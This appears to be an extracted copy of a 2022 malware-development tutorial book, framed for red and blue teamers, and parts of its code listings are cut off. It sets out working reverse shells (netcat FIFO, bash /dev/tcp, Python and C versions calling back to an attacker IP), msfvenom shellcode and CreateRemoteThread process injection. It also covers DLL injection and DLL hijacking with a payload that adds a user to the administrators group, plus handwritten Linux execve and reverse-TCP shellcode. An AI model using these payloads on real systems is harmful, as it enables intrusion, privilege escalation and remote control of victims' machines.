Malware Deveopment
Malware Deveopment
JULY 2022
Author
ZHUSSUPOV ZHASSULAN
(COCOMELONC)
License
FREE (16 USD)
1
1. intro
This book is dedicated to my wife, Laura, and my children, Yerzhan and Munira.
Also, thanks to everyone who is helping me through these difficult times. The
proceeds from the sale of this book will be used to treat Munira, who is currently
battling for her life at a hospital in Istanbul, Turkey:
2
2. what is malware development?
Whether you are a Red Team or Blue Team specialist, learning the techniques
and tricks of malware development gives you the most complete picture of
advanced attacks. Also, due to the fact that most (classic) malwares are written
under Windows, as a rule, this gives you tangible knowledge of developing under
Windows.
Most of the tutorials in this book require a deep understanding of the Python
and C/C++ programming languages:
#include <iostream>
int main() {
std::cout << "Hello World!";
return 0;
}
3. reverse shells
First of all, we will consider such a concept as a reverse shell, since this is a very
important thing in the malware development
3
what is reverse shell?
Reverse shell or often called connect-back shell is remote shell introduced from
the target by connecting back to the attacker machine and spawning target shell
on the attacker machine. This usually used during exploitation process to gain
control of the remote machine.
The reverse shell can take the advantage of common outbound ports such as
port 80, 443, 8080 and etc.
The reverse shell usually used when the target victim machine is blocking
incoming connection from certain port by firewall. To bypass this firewall
restriction, red teamers and pentesters use reverse shells.
But, there is a caveat. This exposes the control server of the attacker and traces
might pickup by network security monitoring services of target network.
There are three steps to get a reverse shell.
Firstly, attacker exploit a vulnerability on a target system or network with the
ability to perform a code execution.
Then attacker setup listener on his own machine.
Then attacker injecting reverse shell on vulnerable system to exploit the vulner-
ability.
There is one more caveat. In real cyber attacks, the reverse shell can also be
obtained through social engineering, for example, a piece of malware installed
on a local workstation via a phishing email or a malicious website might initiate
an outgoing connection to a command server and provide hackers with a reverse
shell capability.
4
The purpose of this post is not to exploit a vulnerability in the target host or
network, but the idea is to find a vulnerability that can be leverage to perform a
code execution.
Depending on which system is installed on the victim and what services are
running there, the reverse shell will be different, it may be php, python, jsp
etc.
listener
For simplicity, in this example, the victim allow outgoing connection on any port
(default iptables firewall rule). In our case we use 4444 as a listener port. You can
change it to your preferable port you like. Listener could be any program/utility
that can open TCP/UDP connections or sockets. In most cases I like to use nc
or netcat utility.
nc -lvp 4444
In this case -l listen, -v verbose and -p port 4444 on every interface. You can
also add -n for numeric only IP addresses, not DNS.
5
2. netcat without -e
Newer linux machine by default has traditional netcat with GAPING_SECURITY_HOLE
disabled, it means you don’t have the -e option of netcat.
In this case, in the victim machine run:
mkfifo /tmp/p; nc <LHOST> <LPORT> 0</tmp/p |
/bin/sh > /tmp/p 2>&1; rm /tmp/p
Here, I’ve first created a named pipe (AKA FIFO) called p using the mkfifo
command. The mkfifo command will create things in the file system, and here
use it as a “backpipe” that is of type p, which is a named pipe. This FIFO will
be used to shuttle data back to our shell’s input. I created my backpipe in /tmp
because pretty much any account is allowed to write there.
3. bash
This will not work on old debian-based linux distributions.
run:
6
bash -c 'sh -i >& /dev/tcp/10.9.1.6/4444 0>&1'
4. python
To create a semi-interactive shell using python, run:
python -c 'import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("<LHOST>",<LPORT>));
os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
7
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <arpa/inet.h>
#include <unistd.h>
int main () {
// attacker IP address
const char* ip = "10.9.1.6";
// address struct
struct sockaddr_in addr;
addr.sin_family = AF_INET;
addr.sin_port = htons(4444);
inet_aton(ip, &addr.sin_addr);
// socket syscall
int sockfd = socket(AF_INET, SOCK_STREAM, 0);
// connect syscall
connect(sockfd, (struct sockadr *)&addr, sizeof(addr));
// execve syscall
execve("/bin/sh", NULL, NULL);
return 0;
}
If you compile for 32-bit linux run: gcc -o shell -m32 shell.c -w
8
Let’s go to transfer file to victim’s machine. File transfer is considered to be one
of the most important steps involved in post exploitation (as I wrote earlier, we
do not consider exploitation step).
We will use the tool that is known as the Swiss knife of the hacker, netcat.
on victim machine run:
nc -lvp 4444 > shell
check:
./shell
mitigation
Unfortunately, there is no way to completely block reverse shells. Unless you
are deliberately using reverse shells for remote administration, any reverse shell
connections are likely to be malicious. To limit exploitation, you can lock down
outgoing connectivity to allow only specific remote IP addresses and ports for
9
the required services. This might be achieved by sandboxing or running the
server in a minimal container.
Let’s talk about code injection. What is code injection? And why we do that?
Code injection technique is a simply method when one process, in our case it’s
our malware, inject code into another running process.
For example, you have your malware, it’s a dropper from phishing attack or
a trojan you managed to deliver to your victim or it can be anything running
your code. And for some reason, you might want to run your payload in a
different process. What do I mean by that? In this post we will not consider
the creation of trojan, but for example, let’s say that your payload got executed
inside word.exe which have a limited time of living. Let’s say your successfully
got a remote shell, but you know that, your victim close word.exe, so in this
situation you have to migrate to another process if you want to preserve your
session.
In this post we will discuss about a classic technique which are payload injection
using debugging API.
Firstly, let’s go to prepare our payload. For simplicity, we use msfvenom reverse
shell payload from Kali linux.
On attacker’s machine run:
msfvenom -p windows/x64/shell_reverse_tcp
LHOST=10.9.1.6 LPORT=4444 -f c
where 10.9.1.6 is our attacker’s machine IP address, and 4444 is port which
we run listener later.
10
Let’s start with simple C++ code of our malware:
/*
cpp implementation malware example with msfvenom payload
*/
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
11
"\x57\x57\x4d\x31\xc0\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44"
"\x24\x54\x01\x01\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6"
"\x56\x50\x41\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff"
"\xc8\x4d\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5"
"\x48\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff"
"\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48"
"\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13"
"\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5";
int main(void) {
void * my_payload_mem; // memory buffer for payload
BOOL rv;
HANDLE th;
DWORD oldprotect = 0;
// run payload
th = CreateThread(0, 0,
(LPTHREAD_START_ROUTINE)my_payload_mem, 0, 0, 0);
WaitForSingleObject(th, -1);
}
return 0;
}
It’s okay if you don’t understand a lot of the code. I will often use similar tricks
and pieces of code. As you read the book, you will understand more and more
the concepts and fundamental things.
Let’s check firstly.
Compile:
12
x86_64-w64-mingw32-gcc evil.cpp -o evil.exe -s
-ffunction-sections -fdata-sections -Wno-write-strings
-fno-exceptions -fmerge-all-constants -static-libstdc++
-static-libgcc
prepare listener:
nc -lvp 4444
Then in the Network tab we will see that our process establish connection to
10.9.1.6:4444 (attacker’s host):
13
So, let’s go to inject our payload to process. For example, calc.exe. So, what
you want is to pivot to a target process or in other words to make your payload
executing somehow in another process on the same machine. For example in a
calc.exe.
The first thing is to allocates some memory inside your target process and the
size of the buffer has to be at least of size of your payload:
Then you copy your payload to the target process calc.exe into the allocated
memory:
14
and then “ask” the system to start executing your payload in a target process,
which is calc.exe.
So, let’s go to code this simple logic. Now the most popular combination to
do this is using built-in Windows API functions which are implemented for
debugging purposes. There are:
- VirtualAllocEx
- WriteProcessMemory
- CreateRemoteThread
Very basic example is:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
15
"\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48"
"\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99"
"\xa5\x74\x61\xff\xd5\x48\x81\xc4\x40\x02\x00\x00\x49\xb8\x63"
"\x6d\x64\x00\x00\x00\x00\x00\x41\x50\x41\x50\x48\x89\xe2\x57"
"\x57\x57\x4d\x31\xc0\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44"
"\x24\x54\x01\x01\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6"
"\x56\x50\x41\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff"
"\xc8\x4d\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5"
"\x48\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff"
"\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48"
"\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13"
"\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5";
// parse process ID
printf("PID: %i", atoi(argv[1]));
ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE,
DWORD(atoi(argv[1])));
First you need to get the PID of the process, you could enter this PID yourself
in our case. Next, open the process with OpenProcess function provided by
Kernel32 library:
16
Next, we use VirtualAllocEx which is allows to you to allocate memory buffer
for remote process (1):
prepare listener:
nc -lvp 4444
17
.\evil2.exe 1844
and first of all we can see that ID of the calc.exe is the same and our evil2.exe
is create new process cmd.exe and on the Network tab our payload is execute
(because calc.exe establish connection to attacker’s host):
Because if you take a look into the source code we are allocating some executable
and readable memory buffer in the remote process:
18
So in the Process Hacker we can search and sorted by Protection, scroll down
and find region which is readable and an executable in the same time:
So this is how you can inject you code into another process.
But, there is a caveat. Opening another process with write access is submitted
to restrictions. One protection is Mandatory Integrity Control (MIC). MIC is a
protection method to control access to objects based on their “Integrity level”.
19
There are 4 integrity levels:
- low level - process which are restricted to access most of the system (internet
explorer)
- medium level - is the default for any process started by unprivileged users and
also administrator users if UAC is enabled.
- high level - process running with administrator privileges.
- system level - by SYSTEM users, generally the level of system services and
process requiring the highest protection.
For now we will not delve into this. Firstly I will try figure this out myself.
VirtualAllocEx
WriteProcessMemory
CreateRemoteThread
OpenProcess
Source code in Github
In this section we will discuss about a classic DLL injection technique which are
use debugging API.
About classic code injection I wrote in the previous section.
Firstly, let’s go to prepare our DLL.
There are slight difference in writing C code for exe and DLL. The basic difference
is how you call you code in your module or program. In exe case there should be
a function called main which is being called by the OS loader when it finishes all
in initialization if a new process. At this point your program starts its execution
when the OS loader finishes its job.
On the other hand with the DLL’s when you want to run your program as a
dynamic library, it’s a slighty different way, so the loader has already created
process in memory and for some reason that process needs your DLL or any
20
other DLL to be load it into the process and it might be due to the function
your DLL implements.
So exe need a main function and DLL’s need DLLMain function
Basically that’s the simplest difference.
For simplicity, we create DLL which just pop-up a message box:
/*
evil.cpp
simple DLL for DLL inject to process
author: @cocomelonc
https://cocomelonc.github.io/tutorial/
2021/09/20/malware-injection-2.html
*/
#include <windows.h>
#pragma comment (lib, "user32.lib")
It only consists of DllMain which is the main function of DLL library. It doesn’t
declare any exported functions which is what legitimate DLLs normally do.
DllMain code is executed right after DLL is loaded into the process memory.
This is important in the context of DLL Injection, as we are looking for simplest
way to execute code in the context of other process. That is why most of
malicious Dlls which are being injected have most of the malicious code in
DllMain. There are ways to force a process to run exported function, but writing
21
your code in DllMain is usually the simplest solution to get code execution.
When run in injected process it should display our message: “Meow from
evil.dll!”, so we will know that injection was successful. Now we can compile it
(on attacker’s machine):
x86_64-w64-mingw32-g++ -shared -o evil.dll evil.cpp -fpermissive
Now we only need a code which will inject this library into the process of our
choosing.
In our case we are going talk about classic DLL injection. We allocate an empty
buffer of a size at least the length of the path of our DLL from disk. And then
we copy the path to this buffer.
/*
* evil_inj.cpp
* classic DLL injection example
* author: @cocomelonc
* https://cocomelonc.github.io/tutorial/
2021/09/20/malware-injection-2.html
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
#include <tlhelp32.h>
22
HANDLE ph; // process handle
HANDLE rt; // remote thread
LPVOID rb; // remote buffer
// parse process ID
if ( atoi(argv[1]) == 0) {
printf("PID not found :( exiting...\n");
return -1;
}
printf("PID: %i", atoi(argv[1]));
ph = OpenProcess(PROCESS_ALL_ACCESS,
FALSE,
DWORD(atoi(argv[1])));
It’s pretty simple as you can see. It’s same as in my classic code injection section.
The only difference is we add path of our DLL from disk (1) and before we
finally inject and run our DLL - we need a memory address of LoadLibraryA, as
this will be an API call that we will execute in the context of the victim process
to load our DLL (2):
23
So finally after we understood entire code of the injector, we can test it. Compile
it:
x86_64-w64-mingw32-gcc -O2 evil_inj.cpp -o inj.exe
-mconsole -I/usr/share/mingw-w64/include/ -s
-ffunction-sections -fdata-sections -Wno-write-strings
-fno-exceptions -fmerge-all-constants -static-libstdc++
-static-libgcc -fpermissive >/dev/null 2>&1
Let’s first launch a calc.exe instance and then execute our program:
To verify our DLL is indeed injected into calc.exe process we can use Process
Hacker.
24
In another memory section we can see:
It seems our simple injection logic worked! This is just a simplest way to inject
a DLL to another process but in many cases it is sufficient and very useful.
If you want you can also add function call obfuscation which will be research in
the future sections.
VirtualAllocEx
WriteProcessMemory
CreateRemoteThread
OpenProcess
GetProcAddress
LoadLibraryA
Source code in Github
In the future sections I will try to figure out more advanced code injection
techniques.
25
6. DLL hijacking in Windows. Simple C example.
In our post, we will only consider the simplest case: the directory of an application
is writable. In this case, any DLL loaded by the application can be hijacked
because it’s the first location used in the search process.
26
Step 1. Find process with missing DLLs
The most common way to find missing Dlls inside a system is running procmon
from sysinternals, setting the following filters:
which will identify if there is any DLL that the application tries to load and the
actual path that the application is looking for the missing DLL:
In our example, the process Bginfo.exe is missing several DLLs which possibly
can be used for DLL hijacking. For example Riched32.dll
27
Step 3. DLL hijacking
Firstly, let’s go to run our bginfo.exe:
#include <windows.h>
#pragma comment (lib, "user32.lib")
28
}
return TRUE;
}
29
As you can see, our malicious logic is executed:
So, bginfo.exe and malicious Riched32.dll in the same folder (1)
Then launch bginfo.exe (2)
Message box is popped-up! (3)
Remediation
Perhaps the simplest remediation steps would be simply to ensure that all
installed software goes into the protected directory C:\Program Files or
C:\Program Files (x86). If software cannot be installed into these locations
then the next easiest thing is to ensure that only Administrative users have
“create” or “write” permissions to the installation directory to prevent an
attacker from deploying a malicious DLL and thereby breaking the exploitation.
Privilege escalation
DLL hijacking can be used for more than just executing code. It can also be
used to gain persistence and privilege escalation:
Find a process that runs/will run as with other privileges (horizontal/lateral
movement) that is missing a dll.
Have write permission on any folder where the dll is going to be searched
(probably the executable directory or some folder inside the system path).
Then replace our code:
/*
DLL hijacking example
author: @cocomelonc
*/
#include <windows.h>
30
DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
system("cmd.exe /k net localgroup administrators user /add");
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}
Conclusion
But in all cases, there is a caveat.
Note that in some cases the DLL you compile must export multiple functions to
be loaded by the victim process. If these functions do not exist, the binary will
not be able to load them and the exploit will fail.
So, compiling custom versions of existing DLLs is more challenging than it may
sound, as a lot of executables will not load such DLLs if procedures or entry
points are missing. Tools such as DLL Export Viewer can be used to enumerate
all external function names and ordinals of the legitimate DLLs. Ensuring that
our compiled DLL follows the same format will maximise the chances of it being
loaded successfully.
In the future I will try to figure out this, and I will try create python script
which create .def file from target original DLL.
Process Monitor
icacls
DLL Export Viewer
Module-Definition (def) files
Source code in Github
I’ve added the vulnerable bginfo (version 4.16) to github if you’d like to experi-
ment.
31
7. find process ID by name and inject to it. Simple C++
example.
When I was writing my injector, I wondered how, for example, to find processes
by name?
When writing code or DLL injectors, it would be nice to find, for example, all
processes running in the system and try to inject into the process launched by
the administrator.
In this section I will try to solve a simplest problem first: find a process ID by
name.
Fortunately, we have some cool functions in the Win32 API.
Let’s go to code:
/*
simple process find logic
author: @cocomelonc
*/
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <tlhelp32.h>
HANDLE hSnapshot;
PROCESSENTRY32 pe;
int pid = 0;
BOOL hResult;
32
if (INVALID_HANDLE_VALUE == hSnapshot) return 0;
pid = findMyProc(argv[1]);
if (pid) {
printf("PID = %d\n", pid);
}
return 0;
}
33
To find PID we call findMyProc function which basically, what it does, it takes
the name of the process we want to inject to and try to find it in a memory of
the operating system, and if it exists, it’s running, this function return a process
ID of that process:
I added comments to the code, so I think you shouldn’t have so many questions.
First we get a snapshot of currently executing processes in the system using
CreateToolhelp32Snapshot:
34
And then we walks through the list recorded in the snapshot using Process32First
and Process32Next:
if we find the process which is match by name with our procname return it’s ID.
As I wrote earlier, for simplicity, we just print this PID.
Let’s go to compile our code:
i686-w64-mingw32-g++ hack.cpp -o hack.exe \
-lws2_32 -s -ffunction-sections -fdata-sections \
-Wno-write-strings -fno-exceptions \
-fmerge-all-constants -static-libstdc++ \
-static-libgcc -fpermissive
35
As you can see, everything work perfectly.
Now, if we think like a red teamer, we can write a more interesting injector,
which, for example, find process by name and inject our payload to it.
Let’s go!
Again for simplicity I’ll take my injector from one of my posts and just add the
function findMyProc:
/*
simple process find logic
author: @cocomelonc
*/
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <tlhelp32.h>
HANDLE hSnapshot;
PROCESSENTRY32 pe;
int pid = 0;
BOOL hResult;
36
// info about first process encountered in a system snapshot
hResult = Process32First(hSnapshot, &pe);
// open process
ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(pid));
37
// "copy" evil DLL between processes
WriteProcessMemory(ph, rb, evilDLL, evilLen, NULL);
#include <windows.h>
#pragma comment (lib, "user32.lib")
38
MB_OK
);
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}
run:
.\hack2.exe mspaint.exe
As you can see, everything is good: We launch mspaint.exe and our simple
injector find PID (1)
Our DLL with simple pop-up (Meow) is work! (2)
To verify our DLL is indeed injected into mspaint.exe process we can use
Process Hacker, in memory section we can see:
39
It seems our simple injection logic worked!
In this case, I didn’t check if SeDebugPrivilege is “enabled” in my own process.
And how can I get this privileges??? I have to study this with all the caveats in
the future.
CreateToolhelp32Snapshot
Process32First
Process32Next
strcmp
Taking a Snapchot and Viewing Processes
CloseHandle
VirtualAllocEx
WriteProcessMemory
CreateRemoteThread
OpenProcess
GetProcAddress
LoadLibraryA
Source code on Github
40
shellcode
Writing shellcode is an excellent way to learn more about assembly language
and how a program communicates with the underlying OS.
Why are we red teamers and penetration testers writing shellcode? Because in
real cases shellcode can be a code that is injected into a running program to
make it do something it was not made to do, for example buffer overflow attacks.
So shellcode is generally can be used as the “payload” of an exploit.
Why the name “shellcode”? Historically, shellcode is machine code that when
executed spawns a shell.
testing shellcode
When testing shellcode, it is nice to just plop it into a program and let it run.
The C program below will be used to test all of our code (run.c):
/*
run.c - a small skeleton program to run shellcode
*/
// bytecode here
char code[] = "my shellcode here";
disable ASLR
Address Space Layout Randomization (ASLR) is a security features used in
most operating system today. ASLR randomly arranges the address spaces of
processes, including stack, heap, and libraries. It provides a mechanism for
making the exploitation hard to success. You can configure ASLR in Linux using
the /proc/sys/kernel/randomize_va_space interface.
The following values are supported: * 0 - no randomization
* 1 - conservative randomization
* 2 - full randomization
41
To disable ASLR, run:
echo 0 > /proc/sys/kernel/randomize_va_space
some assembly
Firstly, let’s repeat some more introductory information, please be patient.
The x86 Intel Register Set.
EAX, EBX, ECX, and EDX are all 32-bit General Purpose
Registers.
AH, BH, CH and DH access the upper 16-bits of the
General Purpose Registers.
AL, BL, CL, and DL access the lower 8-bits of the
General Purpose Registers.
EAX, AX, AH and AL are called the "Accumulator"
registers and can be used for I/O port access,
arithmetic, interrupt calls etc. We can use these
registers to implement system calls.
EBX, BX, BH, and BL are the "Base" registers and are
used as base pointers for memory access. We will use
this register to store pointers in for arguments of
system calls. This register is also sometimes used to
store return value from an interrupt in.
ECX, CX, CH, and CL are also known as the "Counter"
registers.
EDX, DX, DH, and DL are called the "Data" registers
and can be used for I/O port access, arithmetic and
some interrupt calls.
Assembly instructions. There are some instructions that are important in
assembly programming:
mov eax, 32 ; assign: eax = 32
xor eax, eax ; exclusive OR
push eax ; push something onto the stack
pop ebx ; pop something from the stack
; (what was on the stack in a register/variable)
call mysuperfunc ; call a function
int 0x80 ; interrupt, kernel command
Linux system calls. System calls are APIs for the interface between the user
space and the kernel space. You can make use of Linux system calls in your
assembly programs. You need to take the following steps for using Linux system
42
calls in your program:
Put the system call number in the EAX register.
Store the arguments to the system call in the
registers EBX, ECX, etc.
Call the relevant interrupt (80h).
The result is usually returned in the EAX register.
All the x86 syscalls are listed in /usr/include/asm/unistd_32.h.
Example of how libc wraps syscalls:
/*
exit0.c - for demonstrating
how libc wraps syscalls
*/
#include <stdlib.h>
void main() {
exit(0);
}
nullbytes
First of all, I want to draw your attention to nullbytes.
Let’s go to investigate simple program:
/*
meow.c - demonstrate nullbytes
*/
43
#include <stdio.h>
int main(void) {
printf ("=ˆ..ˆ= meow \x00 meow");
return 0;
}
section .data
section .bss
section .text
44
global _start ; must be declared for linker
; normal exit
_start: ; linker entry point
mov eax, 0 ; zero out eax
mov eax, 1 ; sys_exit system call
int 0x80 ; call sys_exit
section .data
section .bss
section .text
45
global _start ; must be declared for linker
; normal exit
_start: ; linker entry point
xor eax, eax ; zero out eax
mov al, 1 ; sys_exit system call (mov eax, 1)
; with remove null bytes
int 0x80 ; call sys_exit
46
example1. normal exit
Let’s begin with simplest example. Let’s use our exit.asm code as the first
example for shellcoding (example1.asm):
; just normal exit
; author @cocomelonc
; nasm -f elf32 -o example1.o example1.asm
; ld -m elf_i386 -o example1 example1.o && ./example1
; 32-bit linux
section .data
section .bss
section .text
global _start ; must be declared for linker
; normal exit
_start: ; linker entry point
xor eax, eax ; zero out eax
mov al, 1 ; sys_exit system call (mov eax, 1)
; with remove null bytes
int 0x80 ; call sys_exit
Notice the al and XOR trick to ensure that no NULL bytes will get into our code.
Extract byte code:
nasm -f elf32 -o example1.o example1.asm
ld -m elf_i386 -o example1 example1.o
objdump -M intel -d example1
47
Here is how it looks like in hexadecimal.
So, the bytes we need are 31 c0 b0 01 cd 80. Replace the code at the top
(run.c) with:
/*
run.c - a small skeleton program to run shellcode
*/
// bytecode here
char code[] = "\x31\xc0\xb0\x01\xcd\x80";
48
-z execstack Turn off the NX protection to make the stack exe-
cutable
Our program returned 0 instead of 1, so our shellcode worked.
section .data
msg: db '/bin/sh'
section .bss
section .text
global _start ; must be declared for linker
; normal exit
mov al, 1 ; sys_exit system call
; (mov eax, 1) with remove
; null bytes
xor ebx, ebx ; no errors (mov ebx, 0)
int 0x80 ; call sys_exit
49
To compile it use the following commands:
nasm -f elf32 -o example2.o example2.asm
ld -m elf_i386 -o example2 example2.o
./example2
Note: system("/bin/sh") would have been a lot simpler right? Well the only
problem with that approach is the fact that system always drops privileges.
So, execve takes 3 arguments: * The program to execute - EBX * The arguments
or argv(null) - ECX * The environment or envp(null) - EDX
This time, we’ll directly write the code without any null bytes, using the stack
to store variables (example3.asm):
50
; run /bin/sh and normal exit
; author @cocomelonc
; nasm -f elf32 -o example3.o example3.asm
; ld -m elf_i386 -o example3 example3.o && ./example3
; 32-bit linux
section .bss
section .text
global _start ; must be declared for linker
Now, let’s assemble it and check if it properly works and does not contain any
null bytes:
nasm -f elf32 -o example3.o example3.asm
ld -m elf_i386 -o example3 example3.o
./example3
objdump -M intel -d example3
51
Then, extract byte code via some bash hacking and objdump:
objdump -d ./example3|grep '[0-9a-f]:'|grep -v 'file'|cut \
-f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '| \
sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s | \
sed 's/ˆ/"/'|sed 's/$/"/g'
52
// bytecode here
char code[] = "\x31\xc0\x31\xdb\x31\xc9\x31"
"\xd2\x50\x68\x6e\x2f\x73\x68\x68"
"\x2f\x2f\x62\x69\x89\xe3\xb0\x0b\xcd\x80";
As you can see, everything work perfectly. Now, you can use this shellcode and
inject it into a process.
In the next part, I’ll go to create a reverse TCP shellcode.
The Shellcoder’s Handbook
Shellcoding in Linux by exploit-db
my intro to x86 assembly
my nasm tutorial
execve
Source code in Github
53
9. linux shellcoding. Reverse TCP shellcode
testing shellcode
When testing shellcode, it is nice to just plop it into a program and let it run.
We will use the same code as in the first post (run.c):
/*
run.c - a small skeleton program to run shellcode
*/
// bytecode here
char code[] = "my shellcode here";
54
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <arpa/inet.h>
#include <unistd.h>
int main () {
// attacker IP address
const char* ip = "127.0.0.1";
// address struct
struct sockaddr_in addr;
addr.sin_family = AF_INET;
addr.sin_port = htons(4444);
inet_aton(ip, &addr.sin_addr);
// socket syscall
int sockfd = socket(AF_INET, SOCK_STREAM, 0);
// connect syscall
connect(sockfd, (struct sockadr *)&addr, sizeof(addr));
// execve syscall
execve("/bin/sh", NULL, NULL);
return 0;
}
assembly preparation
As shown in the C source code, you need to translate the following calls into
Assembly language:
- create a socket.
- connect to a specified IP and port.
- then redirect stdin, stdout, stderr via dup2.
- launch the shell with execve.
55
create socket
You need syscall 0x66 (SYS_SOCKETCALL) to basically work with sockets:
The next important part - the different functions calls of the socketcall syscall
can be found in /usr/include/linux/net.h:
The socket() call basically takes 3 arguments and returns a socket file descriptor:
sockfd = socket(int socket_family, int socket_type, int protocol);
So you need to check different header files to find the definitions for the arguments.
56
For protocol:
nvim /usr/include/linux/in.h
For socket_type:
nvim /usr/include/bits/socket_type.h
For socket_family:
57
nvim /usr/include/bits/socket.h
Based on this info, you can push the different arguments (socket_family,
socket_type, protocol) onto the stack after cleaning up the edx register:
xor edx, edx ; zero out edx
And since ecx needs to hold a pointer to this structure, a copy of the esp is
required:
mov ecx, esp ; move stack pointer to ecx
58
connect to a specified IP and port
First you need the standard socketcall-syscall in al again:
; int socketcall(int call, unsigned long *args);
mov al, 0x66 ; socketcall 102
Let’s go to look at the connect() arguments, and the most interesting argument
is the sockaddr struct:
struct sockaddr_in {
__kernel_sa_family_t sin_family; /* Address family */
__be16 sin_port; /* Port number */
struct in_addr sin_addr; /* Internet address */
};
So you need to place arguments at this point. Firstly, sin_addr, then sin_port
and the last one is sin_family (remember: reverse order!):
; int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
push 0x0101017f ; sin_addr = 127.1.1.1 (network byte order)
push word 0x5c11 ; sin_port = 4444
ebx contains 0x1 at this point because of pressing socket_type during the
socket () call, so after increasing ebx, ebx should be 0x2 (the sin_family
argument):
inc ebx ; ebx = 0x02
push word bx ; sin_family = AF_INET
Then:
push 0x10 ; addrlen = 16
push ecx ; const struct sockaddr *addr
push edx ; sockfd
mov ecx, esp ; move stack pointer to ecx (sockaddr_in struct)
inc ebx ; sys_connect (0x3)
int 0x80 ; syscall (exec sys_connect)
59
redirect stdin, stdout and stderr via dup2
Now we set start-counter and reset ecx for loop:
push 0x2 ; set counter to 2
pop ecx ; zero to ecx (reset for newfd loop)
ecx is now ready for the loop, just saving the socket file descriptor to ebx as
you need it there during the dup2-syscall:
xchg ebx, edx ; save sockfd
Where oldfd (ebx) is the client socket file descriptor and newfd is used with
stdin(0), stdout(1) and stderr(2):
for (int i = 0; i < 3; i++) {
// dup2(sockftd, 0) - stdin
// dup2(sockfd, 1) - stdout
// dup2(sockfd, 2) - stderr
dup2(sockfd, i);
}
jns basically jumps to “dup” as long as the signed flag (SF) is not set.
Let’s go to debug with gdb and check ecx value:
gdb -q ./rev
60
As you can see, after third dec ecx it contains 0xffffffff which is equal -1
and the SF got set and the shellcode flow continues.
In result, all three output are redirected :)
As you can see, we need to push the terminating NULL for the /bin//sh string
seperately onto the stack, because there isn’t already one to use.
So we are done.
61
; run reverse TCP /bin/sh and normal exit
; author @cocomelonc
; nasm -f elf32 -o rev.o rev.asm
; ld -m elf_i386 -o rev rev.o && ./rev
; 32-bit linux
section .bss
section .text
global _start ; must be declared for linker
; create socket
; int socketcall(int call, unsigned long *args);
push 0x66 ; sys_socketcall 102
pop eax ; zero out eax
push 0x1 ; sys_socket 0x1
pop ebx ; zero out ebx
xor edx, edx ; zero out edx
62
inc ebx ; sys_connect (0x3)
int 0x80 ; syscall (exec sys_connect)
dup:
mov al, 0x3f ; sys_dup2 = 63 = 0x3f
int 0x80 ; syscall (exec sys_dup2)
dec ecx ; decrement counter
jns dup ; as long as SF is not set -> jmp to dup
testing
Now, as in the first part, let’s assemble it and check if it properly works and
does not contain any null bytes:
nasm -f elf32 -o rev.o rev.asm
ld -m elf_i386 -o rev rev.o
objdump -M intel -d rev
63
Prepare listener on 4444 port and run:
./rev
Perfect!
Then, extract byte code via some bash hacking and objdump:
objdump -d ./rev|grep '[0-9a-f]:'|grep -v 'file'|cut -f2
-d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|
sed 's/ /\\x/g'|paste -d '' -s |sed 's/ˆ/"/'|sed 's/$/"/g'
64
So, our shellcode is:
"\x6a\x66\x58\x6a\x01\x5b\x31\xd2\x52\x53\x6a\x02\x89\xe1
\xcd\x80\x92\xb0\x66\x68\x7f\x01\x01\x01\x66\x68\x11\x5c
\x43\x66\x53\x89\xe1\x6a\x10\x51\x52\x89\xe1\x43\xcd\x80
\x6a\x02\x59\x87\xda\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b
\x41\x89\xca\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e
\x89\xe3\xcd\x80"
65
As you can see, everything work perfectly. Now, you can use this shellcode and
inject it into a process.
But there is one caveat. Let’s go to make the ip and port easily configurable.
BLUE = '\033[94m'
GREEN = '\033[92m'
YELLOW = '\033[93m'
